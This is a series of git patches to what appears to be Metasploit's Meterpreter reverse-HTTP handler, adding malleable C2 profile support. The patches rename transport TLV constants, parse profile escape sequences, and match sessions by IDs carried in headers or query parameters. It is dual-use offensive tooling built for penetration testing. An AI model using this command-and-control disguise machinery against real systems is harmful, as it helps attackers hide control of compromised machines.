datastore['SessionRetryWait'].to_i, :ssl => ssl?, :payload_uuid => uuid, - :c2_profile => datastore['MALLEABLEC2'] || '', + :c2_profile => self.c2_profile, :debug_build => datastore['MeterpreterDebugBuild'] || false, } diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 98c48f36710ca..4a322360428dd 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -11,7 +11,25 @@ # Handle escape sequences in the strings provided by the c2 profile class String def from_c2_string_value - self.gsub(/\\x(..)/) {|b| [b[2, 4].to_i(16)].pack('C')} + # Support substitution of a subset of escape characters: + # \r, \t, \n, \\, \x.. + # Not supporting \u at this point. + # We do in a single regex and parse each as we go, as this avoids the + # potential for double-encoding. + self.gsub(/\\(x(..)|r|n|t|\\)/) {|b| + case b[1] + when 'x' + [b[2, 4].to_i(16)].pack('C') + when 'r' + "\r" + when 't' + "\t" + when 'n' + "\n" + when '\\' + "\\" + end + } end end @@ -232,8 +250,8 @@ def to_tlv } client.get_section('id') {|client_id| - post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, client_id.get_directive('parameter')[0]) if client_id.has_directive('parameter') - post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, client_id.get_directive('header')[0]) if client_id.has_directive('header') + post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, client_id.get_directive('parameter')[0].args[0]) if client_id.has_directive('parameter') + post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, client_id.get_directive('header')[0].args[0]) if client_id.has_directive('header') # assume uri-append for POST otherwise given that we always put the TLV payload in the body? # TODO: add support for adding a form rather than just a payload body? } @@ -254,7 +272,7 @@ def add_http_tlv(base_uri, section, group_tlv) def add_header(section, group_tlv) headers = section.get_directive('header').map {|dir| "#{dir.args[0]}: #{dir.args[1]}"}.join("\r\n") - group_tlv.add_tlv(MET::TLV_TYPE_C2_OTHER_HEADERS, headers) unless headers.empty? + group_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, headers) unless headers.empty? headers end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index f5b2d0485a7f1..5096bac71973c 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -7,6 +7,7 @@ class Rex::Payloads::Meterpreter::Config + include Msf::Payload::UUID::Options include Msf::ReflectiveDLLLoader MET = Rex::Post::Meterpreter diff --git a/lib/rex/payloads/meterpreter/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb index 6b55506c7ea79..8d4a2c3b9569a 100644 --- a/lib/rex/payloads/meterpreter/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -66,11 +66,18 @@ def process_uri_resource(uri) nil end + # Map "random" get params to static strings. + # + # @param [String] The query string from the HTTP request. + # @return [Hash] The attributes extracted from the URI + def process_query_string_resource(query_string) + end + # Map "random" cookies to static strings. # # @param cookie [String] The Cookie header string from the HTTP request. # @return [Hash] The attributes extracted from the URI - def process_cookie_resource(uri) + def process_cookie_resource(cookie) end # Create a URI that matches the specified checksum and payload uuid diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index a13e73a4f2432..edbf8886f94e7 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -151,10 +151,7 @@ def init_meterpreter(sock,opts={}) self.url = opts[:url] self.ssl = opts[:ssl] - unless (opts[:c2_profile] || '').empty? - parser = Msf::Payload::MalleableC2::Parser.new - self.c2_profile = parser.parse(opts[:c2_profile]) - end + self.c2_profile = opts[:c2_profile] self.pivot_session = opts[:pivot_session] if self.pivot_session diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index b19c784f09634..ec4ae0048950c 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -142,22 +142,26 @@ def transport_list response = client.send_request(request) result = { - :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), + :session_exp => response.get_tlv_value(TLV_TYPE_SESSION_EXPIRY), :transports => [] } - response.each(TLV_TYPE_TRANS_GROUP) { |t| + response.each(TLV_TYPE_C2) { |t| + # TODO: Consider adding more informationt to the output for malleable profiles? + # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC, + # TLV_TYPE_C2_SKIP_COUNT, TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER + # Not sure if this stuff is useful for this display though. result[:transports] << { - :url => t.get_tlv_value(TLV_TYPE_TRANS_URL), - :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), - :retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), - :retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT), - :ua => t.get_tlv_value(TLV_TYPE_TRANS_UA), - :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST), - :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER), - :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS), - :cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH), - :custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS) + :url => t.get_tlv_value(TLV_TYPE_C2_URL), + :comm_timeout => t.get_tlv_value(TLV_TYPE_C2_COMM_TIMEOUT), + :retry_total => t.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL), + :retry_wait => t.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT), + :ua => t.get_tlv_value(TLV_TYPE_C2_UA), + :proxy_host => t.get_tlv_value(TLV_TYPE_C2_PROXY_HOST), + :proxy_user => t.get_tlv_value(TLV_TYPE_C2_PROXY_USER), + :proxy_pass => t.get_tlv_value(TLV_TYPE_C2_PROXY_PASS), + :cert_hash => t.get_tlv_value(TLV_TYPE_C2_CERT_HASH), + :custom_headers => t.get_tlv_value(TLV_TYPE_C2_HEADERS) } } @@ -171,25 +175,25 @@ def set_transport_timeouts(opts={}) request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS) if opts[:session_exp] - request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) + request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp]) end if opts[:comm_timeout] - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) + request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:retry_total] - request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) + request.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] - request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) + request.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) end response = client.send_request(request) { - :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), - :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), - :retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), - :retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT) + :session_exp => response.get_tlv_value(TLV_TYPE_SESSION_EXPIRY), + :comm_timeout => response.get_tlv_value(TLV_TYPE_C2_COMM_TIMEOUT), + :retry_total => response.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL), + :retry_wait => response.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT) } end @@ -532,7 +536,7 @@ def transport_sleep(seconds) # we're reusing the comms timeout setting here instead of # creating a whole new TLV value - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds) + request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, seconds) client.send_request(request) return true end @@ -565,7 +569,7 @@ def enable_ssl_hash_verify request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH) hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der) - request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) + request.add_tlv(TLV_TYPE_C2_CERT_HASH, hash) client.send_request(request) @@ -599,7 +603,7 @@ def get_ssl_hash_verify request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH) response = client.send_request(request) - return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH) + return response.get_tlv_value(TLV_TYPE_C2_CERT_HASH) end # @@ -897,19 +901,19 @@ def transport_prepare_request(method, opts={}) end if opts[:comm_timeout] - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) + request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:session_exp] - request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) + request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp]) end if opts[:retry_total] - request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) + request.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] - request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) + request.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) end # do more magic work for http(s) payloads @@ -924,31 +928,30 @@ def transport_prepare_request(method, opts={}) end opts[:ua] ||= Rex::UserAgent.random - request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua]) + request.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert]) - request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) + request.add_tlv(TLV_TYPE_C2_CERT_HASH, hash) end if opts[:proxy_host] && opts[:proxy_port] prefix = 'http://' prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" - request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy) + request.add_tlv(TLV_TYPE_C2_PROXY_HOST, proxy) if opts[:proxy_user] - request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user]) + request.add_tlv(TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) end if opts[:proxy_pass] - request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass]) + request.add_tlv(TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) end end end - request.add_tlv(TLV_TYPE_TRANS_TYPE, VALID_TRANSPORTS[transport]) - request.add_tlv(TLV_TYPE_TRANS_URL, url) + request.add_tlv(TLV_TYPE_C2_URL, url) request end diff --git a/lib/rex/post/meterpreter/core_ids.rb b/lib/rex/post/meterpreter/core_ids.rb index a7113ba872838..6a0ee761d2522 100644 --- a/lib/rex/post/meterpreter/core_ids.rb +++ b/lib/rex/post/meterpreter/core_ids.rb @@ -28,7 +28,7 @@ module Meterpreter COMMAND_ID_CORE_MIGRATE = EXTENSION_ID_CORE + 14 COMMAND_ID_CORE_NATIVE_ARCH = EXTENSION_ID_CORE + 15 COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION = EXTENSION_ID_CORE + 16 -COMMAND_ID_CORE_PATCH_URL = EXTENSION_ID_CORE + 17 +COMMAND_ID_CORE_PATCH_UUID = EXTENSION_ID_CORE + 17 COMMAND_ID_CORE_PIVOT_ADD = EXTENSION_ID_CORE + 18 COMMAND_ID_CORE_PIVOT_REMOVE = EXTENSION_ID_CORE + 19 COMMAND_ID_CORE_PIVOT_SESSION_DIED = EXTENSION_ID_CORE + 20 diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 25425dcece7a2..e182678073618 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -92,20 +92,6 @@ module Meterpreter TLV_TYPE_LIB_LOADER_NAME = TLV_META_TYPE_STRING | 412 TLV_TYPE_LIB_LOADER_ORDINAL = TLV_META_TYPE_UINT | 413 -TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 -TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431 -TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 -TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 -TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434 -TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 -TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436 -TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 -TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 -TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 -TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 -TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441 -TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442 - TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462 @@ -123,7 +109,7 @@ module Meterpreter TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653 # -# Configuration options +# Configuration & C2 options # TLV_TYPE_SESSION_EXPIRY = TLV_META_TYPE_UINT | 700 # Session expiration time TLV_TYPE_EXITFUNC = TLV_META_TYPE_UINT | 701 # identifier of the exit function to use @@ -140,7 +126,7 @@ module Meterpreter TLV_TYPE_C2_PROXY_PASS = TLV_META_TYPE_STRING | 712 # Proxy password TLV_TYPE_C2_GET = TLV_META_TYPE_GROUP | 713 # A grouping of params associated with GET requests TLV_TYPE_C2_POST = TLV_META_TYPE_GROUP | 714 # A grouping of params associated with POST requests -TLV_TYPE_C2_OTHER_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers +TLV_TYPE_C2_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload @@ -150,6 +136,7 @@ module Meterpreter TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 722 # Name of the cookie to put the UUID in TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 723 # Name of the GET parameter to put the UUID in TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 724 # Name of the header to put the UUID in +TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 725 # string representation of the UUID for C2s # # C2 Encoding flags diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index f19f9d6bc53ba..a5d246973191f 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -123,7 +123,7 @@ context "Any non group TLV_TYPE" do subject(:tlv_types){ - excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_TRANS_GROUP"] + excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_C2", "TLV_TYPE_EXTENSION", "TLV_TYPE_C2_GET", "TLV_TYPE_C2_POST"] typeList = [] Rex::Post::Meterpreter.constants.each do |type| typeList << type.to_s if type.to_s.include?("TLV_TYPE") && !excludedTypes.include?(type.to_s) From b760e0a7e8b3ddf2ada2498231767c4b4d06ae23 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 24 Jul 2025 10:59:45 +1000 Subject: [PATCH 10/65] Remove query string from POST request body The `Http::Request` class had an overload for the `body` accessor that returned the query string parameters in the case that the body was empty. This is not only logically bizzarre, but functionally insane. The query string is not part of the body. If you want the query string, go get it. An interesting side effect of this craziness, along with the way the body is constructed, is that if you send a POST request to the server with a body AND a query string, MSF is kind enough to give you both together. Crazy right? Well, this is because the class uses the `body` accessor as an internal buffer, but that getter is overloaded. So if the `body` is blank, and the `+=` operator is used (which, it is!) then you end up with the query string being prepended to any actual body content. Insane. Also, from an API point of view, it looks just as crazy. Observe: ``` >> r = Rex::Proto::Http::Request::Post.new('/foo?lol=wtf') => ... >> r.body = '' => "" >> r.body => "lol=wtf" ``` No. This is a complete violation of logic. This commit removes this "feature" and not only fixes the bugs that I was fighting against, but restores some semblance of reason. --- lib/rex/proto/http/request.rb | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb index 5deace0de51ca..b394600c218bd 100644 --- a/lib/rex/proto/http/request.rb +++ b/lib/rex/proto/http/request.rb @@ -217,18 +217,6 @@ def to_s str + super end - def body - str = super || '' - if str.length > 0 - return str - end - - if PostRequests.include?(self.method) - return param_string - end - '' - end - # # Returns the command string derived from the three values. # From 97ebb560d72115560f00798c7baa9eec046e48f0 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 24 Jul 2025 11:22:25 +1000 Subject: [PATCH 11/65] Change support for connection IDs in the HTTP server NOTE: This change does remove the trailing "/" from URIs registered.. which implies that things might not match. So more to do here. Connection IDs are stored in the request now, so that they can be referenced by clients if and when required. IDs are pulled from various locations in the request. --- lib/msf/core/handler/reverse_http.rb | 48 +++++++++++-------- lib/rex/post/meterpreter/packet_dispatcher.rb | 4 +- lib/rex/proto/http/request.rb | 5 ++ lib/rex/proto/http/server.rb | 18 +++++-- 4 files changed, 50 insertions(+), 25 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index df40190060bcc..147ff370af68c 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -266,7 +266,8 @@ def setup_handler # Add the new resource all_uris.each {|u| - r = (u + "/").gsub("//", "/") + #r = (u + "/").gsub("//", "/") + r = u.gsub("//", "/") service.add_resource(r, 'Proc' => Proc.new { |cli, req| on_request(cli, req) @@ -291,7 +292,8 @@ def stop_handler if self.service if @resources_added all_uris.each {|u| - r = (u + "/").gsub("//", "/") + #r = (u + "/").gsub("//", "/") + r = u.gsub("//", "/") self.service.remove_resource(r) } @resources_added = false @@ -351,32 +353,39 @@ def on_request(cli, req) Thread.current[:cli] = cli resp = Rex::Proto::Http::Response.new - # TODO OJ - look for C2 profile, if associated, get settings to see if - # UUID is stashed in other locations like cookies/headers. This might - # have to happen during the resource lookup instead of here, and - # when on_request is called we pass the UUID in, if found + unless req.conn_id + cids = [req.resource.split('?')[0].split('/').compact.last] + cids.concat(req.uri_parts["QueryString"].values) + cids.concat(req.headers.values) - #STDERR.puts("#{req.inspect}\n") - #req.uri_parts["QueryString"] - info = process_uri_resource(req.relative_resource) #|| process_query_string_resource(req.query_string) - uuid = info[:uuid] + cids.each {|cid| + info = process_uri_resource(cid) + if info + req.conn_id = cid + break + end + } + end + + if req.conn_id + info = process_uri_resource(req.conn_id) + uuid = info[:uuid] + conn_id = req.conn_id + end if uuid # Configure the UUID architecture and payload if necessary uuid.arch ||= self.arch uuid.platform ||= self.platform - conn_id = luri - - request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'" + request_summary = "#{luri} with UA '#{req.headers['User-Agent']}'" if info[:mode] && info[:mode] != :connect - conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid) - else - conn_id << req.relative_resource - conn_id = conn_id.chomp('/') + conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) end + conn_id.chomp!('/') + # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set if framework.db.active db_uuid = framework.db.payloads({ uuid: uuid.puid_hex }).first @@ -413,7 +422,7 @@ def on_request(cli, req) # Process the requested resource. case info[:mode] when :init_connect - print_status("Redirecting stageless connection from #{request_summary}") + print_status("Redirecting stageless connection from #{request_summary} to #{conn_id}") # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that @@ -421,7 +430,7 @@ def on_request(cli, req) # Hurl a TLV back at the caller, and ignore the response pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_UUID) - pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id) + pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id.gsub(/\//, '')) resp.body = pkt.to_r resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile @@ -432,6 +441,7 @@ def on_request(cli, req) print_status("Attaching orphaned/stageless session...") else begin + # TODO: do we need to handle C2 profiles here? blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id) blob = encode_stage(blob) if self.respond_to?(:encode_stage) # remove this when we make http payloads prepend stage sizes by default diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 296e042d09bd3..253236f4078b4 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -760,8 +760,8 @@ def on_passive_request(cli, req) end else resp.body = "" - if req.body and req.body.length > 0 - body = req.body + body = req.body + if body && body.length > 0 body = self.unwrap_packet(body) if self.respond_to?(:unwrap_packet) packet = Packet.new(0) packet.add_raw(body) diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb index b394600c218bd..e586e6ff1568c 100644 --- a/lib/rex/proto/http/request.rb +++ b/lib/rex/proto/http/request.rb @@ -259,6 +259,11 @@ def qstring def meta_vars end + # + # An identifier associated with the incoming request, can be used to match requests with sessions. + # + attr_accessor :conn_id + # # The method being used for the request (e.g. GET). # diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index e3ec72b006a41..8712c14cd9c08 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -269,6 +269,17 @@ def on_client_data(cli) end end + def find_resource_uuid(request) + cids = [request.resource.split('?')[0].split('/').compact.last] + cids.concat(request.uri_parts["QueryString"].values) + cids.concat(request.headers.values) + + cids.each {|cid| + return cid if resources[cid] + } + nil + end + # # Dispatches the supplied request for a given connection. # @@ -279,17 +290,16 @@ def dispatch_request(cli, request) cli.keepalive = true end - #STDERR.puts("Resources: #{resources.inspect}\n") - # Direct lookup on the last part of the URI, if any, will work # to find a handler based on the connection ID because we don't # ever have IDs that have slashes, so it's not possible to overlap # with handlers of the same name. - cid = request.resource.split('?')[0].split('/').compact.last - if resources[cid] + cid = find_resource_uuid(request) + if cid p = resources[cid] len = cid.length root = request.resource + request.conn_id = cid else # Search for the resource handler for the requested URL. This is pretty # inefficient right now, but we can spruce it up later. From 1b2442c184c0d4358a4cce15dc364767cf4bc46d Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 1 Jul 2026 15:28:26 -0400 Subject: [PATCH 12/65] Fix a failing test The URI can't be blank, it needs to at least be / --- lib/msf/core/handler/reverse_http.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 147ff370af68c..79fcbaa3d2b69 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -266,8 +266,7 @@ def setup_handler # Add the new resource all_uris.each {|u| - #r = (u + "/").gsub("//", "/") - r = u.gsub("//", "/") + r = u.empty? ? '/' : u.gsub("//", "/") service.add_resource(r, 'Proc' => Proc.new { |cli, req| on_request(cli, req) @@ -292,8 +291,7 @@ def stop_handler if self.service if @resources_added all_uris.each {|u| - #r = (u + "/").gsub("//", "/") - r = u.gsub("//", "/") + r = u.empty? ? '/' : u.gsub("//", "/") self.service.remove_resource(r) } @resources_added = false From c6d2c1f098b02a8b8e8c4a424080da80ef7eb263 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 24 Jul 2025 13:58:06 +1000 Subject: [PATCH 13/65] Push CID finding into reverse_http Logic for finding connection UUIDs has been pushed into reverse_http so that it's not part of the Http::Server any more. It's a little bit of a leaky abstraction, but at least the logic is in the one place now. Support added and tweaked for including the UUID in an HTTP header or in a GET param. Currently don't have support for it in the BODY as as param, not sure if that's a requirement yet or not. Same goes for cookies. --- lib/msf/core/handler/reverse_http.rb | 34 +++++++++++++++---------- lib/msf/core/payload/malleable_c2.rb | 4 +-- lib/rex/proto/http/server.rb | 38 +++++++++++----------------- 3 files changed, 38 insertions(+), 38 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 79fcbaa3d2b69..832534fb945d8 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -283,6 +283,26 @@ def setup_handler end end + def find_resource_id(cli, request) + if request.method == 'POST' + directive = self.c2_profile&.http_post&.client&.id&.parameter + cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 + unless cid + directive = self.c2_profile&.http_post&.client&.id&.header + cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 + end + else + directive = self.c2_profile&.http_get&.client&.metadata&.parameter + cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 + unless cid + directive = self.c2_profile&.http_get&.client&.metadata&.header + cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 + end + end + + request.conn_id = cid || request.resource.split('?')[0].split('/').compact.last + end + # # Removes the / handler, possibly stopping the service if no sessions are # active on sub-urls. @@ -351,19 +371,7 @@ def on_request(cli, req) Thread.current[:cli] = cli resp = Rex::Proto::Http::Response.new - unless req.conn_id - cids = [req.resource.split('?')[0].split('/').compact.last] - cids.concat(req.uri_parts["QueryString"].values) - cids.concat(req.headers.values) - - cids.each {|cid| - info = process_uri_resource(cid) - if info - req.conn_id = cid - break - end - } - end + req.conn_id = find_resource_id(cli, req) unless req.conn_id if req.conn_id info = process_uri_resource(req.conn_id) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 4a322360428dd..d3fba60fd45a5 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -217,8 +217,8 @@ def to_tlv enc_flags |= MET::C2_ENCODING_FLAG_B64URL if meta.has_directive('base64url') get_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 - get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, meta.get_directive('parameter')[0]) if meta.has_directive('parameter') - get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, meta.get_directive('header')[0]) if meta.has_directive('header') + get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, meta.get_directive('parameter')[0].args[0]) if meta.has_directive('parameter') + get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, meta.get_directive('header')[0].args[0]) if meta.has_directive('header') # assume uri-append for POST otherwise. } } diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index 8712c14cd9c08..27a56aef540dd 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -165,7 +165,7 @@ def add_resource(name, opts) end # If a procedure was passed, mount the resource with it. - if (opts['Proc']) + if opts['Proc'] mount(name, Handler::Proc, false, opts['Proc'], opts['VirtualDirectory']) else raise ArgumentError, "You must specify a procedure." @@ -269,37 +269,29 @@ def on_client_data(cli) end end - def find_resource_uuid(request) - cids = [request.resource.split('?')[0].split('/').compact.last] - cids.concat(request.uri_parts["QueryString"].values) - cids.concat(request.headers.values) - - cids.each {|cid| - return cid if resources[cid] - } - nil - end - # # Dispatches the supplied request for a given connection. # def dispatch_request(cli, request) # Is the client requesting keep-alive? - if ((request['Connection']) and - (request['Connection'].downcase == 'Keep-Alive'.downcase)) + if request['Connection'] && request['Connection'].downcase == 'keep-alive' cli.keepalive = true end - # Direct lookup on the last part of the URI, if any, will work - # to find a handler based on the connection ID because we don't - # ever have IDs that have slashes, so it's not possible to overlap - # with handlers of the same name. - cid = find_resource_uuid(request) - if cid - p = resources[cid] - len = cid.length + # first, try to match up the request with a handler based on a matching + # function that's present in the context, if specified. + expl = self.context['MsfExploit'] + resource_id = expl.find_resource_id(cli, request) if expl && expl.respond_to?(:find_resource_id) + request.conn_id = resource_id + + if resource_id && resources[resource_id] + p = resources[resource_id] + len = resource_id.length + root = request.resource + elsif resources[request.resource] + p = resources[request.resource] + len = resource_id.length root = request.resource - request.conn_id = cid else # Search for the resource handler for the requested URL. This is pretty # inefficient right now, but we can spruce it up later. From 8da1c69d7d4cff823537b10336881b5deb0049a2 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Mon, 28 Jul 2025 10:58:26 +1000 